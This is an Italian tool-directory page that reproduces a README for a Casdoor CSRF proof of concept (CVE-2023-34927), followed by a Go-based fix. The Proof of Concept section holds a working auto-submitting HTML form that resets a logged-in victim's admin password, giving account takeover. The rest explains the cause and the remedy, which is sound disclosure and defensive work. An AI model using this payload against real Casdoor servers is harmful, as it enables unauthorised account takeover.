Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
csrf_casdoor — Proof-of-concept di exploit CSRF per l'endpoint `/api/set-password` di Casdoor (CVE-2023-34927), che consente modifiche non autorizzate della password tramite richieste POST cross-site. Include una correzione del filtro CSRF basata su Go. | Kitploit
Strumenti/GitHubGitHub/vanlam2001/csrf_casdoor
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazione
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Proof-of-concept di exploit CSRF per l'endpoint `/api/set-password` di Casdoor (CVE-2023-34927), che consente modifiche non autorizzate della password tramite richieste POST cross-site. Include una correzione del filtro CSRF basata su Go.

Vedi Repository
117 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Casdoor – Cross-Site Request Forgery (CSRF)

Riepilogo

  • Vulnerabilità: CSRF in /api/set-password che consente la modifica della password senza consenso.
  • Versioni interessate: Tutte le versioni del software sono interessate. Al momento non è disponibile alcuna release corretta.
  • CVE: CVE-2023-34927 (l'ultima deve ancora essere assegnata).
  • Autore dell'exploit: Van Lam Nguyen.
  • Testato su: Windows

Impatto

  • Se una vittima è autenticata in Casdoor, una POST cross-site può modificare la password della vittima (ad esempio, built-in/admin), portando al takeover dell'account.

Prerequisiti dell'attacco

  • La vittima è autenticata e possiede un cookie casdoor_session_id valido.
  • La vittima visita una pagina malevola che invia automaticamente una POST a /api/set-password.

Proof of Concept

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Causa principale

  • Gli endpoint che modificano lo stato sotto /api/* accettano richieste autenticate tramite cookie senza applicare controlli same-origin (Origin/Referer) o token CSRF.

Panoramica della correzione

  • Aggiungere un filtro CSRF lato server per negare le richieste POST/PUT/DELETE/PATCH cross-site basate su cookie sotto /api/*.
  • Consentire le richieste che presentano un'autenticazione esplicita non basata su cookie (ad esempio Authorization, Basic auth, client credentials o accessToken) o le richieste prive di cookie di sessione del browser (tipiche chiamate server-to-server).

Implementazione

  • Utilizzare routers.CSRFFilter implementato in csrf_filter.go. Questo filtro:
    • Restituisce immediatamente per i metodi che non modificano lo stato.
    • Consente le richieste con autenticazione esplicita non basata su cookie.
    • Blocca le richieste cross-site quando è presente un cookie di sessione e l'origine non corrisponde all'host.

Come integrare in Casdoor

  1. Copiare csrf_filter.go nel pacchetto routers esistente del progetto Casdoor. Non modificare né eliminare nulla in questo file.
  2. Registrare il filtro all'inizio della pipeline HTTP (all'interno di main):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verifica

  • Dopo aver registrato il filtro, riprodurre il PoC sopra mentre si è autenticati. La richiesta dovrebbe essere negata con Unauthorized operation e il server dovrebbe registrare CSRF check failed.
  • Le chiamate API cross-origin che includono header Authorization o parametri accessToken dovrebbero continuare a funzionare.

File del repository

  • csrf_filter.go: filtro CSRF da copiare nel pacchetto routers di Casdoor.
  • poc.html: pagina minimale che riproduce l'attacco CSRF.
  • README.md: questo documento che descrive la vulnerabilità e i passaggi di correzione.

Riferimenti

  • Casdoor: https://casdoor.org/
  • Versione: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Video

  • Youtube: https://youtu.be/N5VENgiObjY
Scarica lo strumento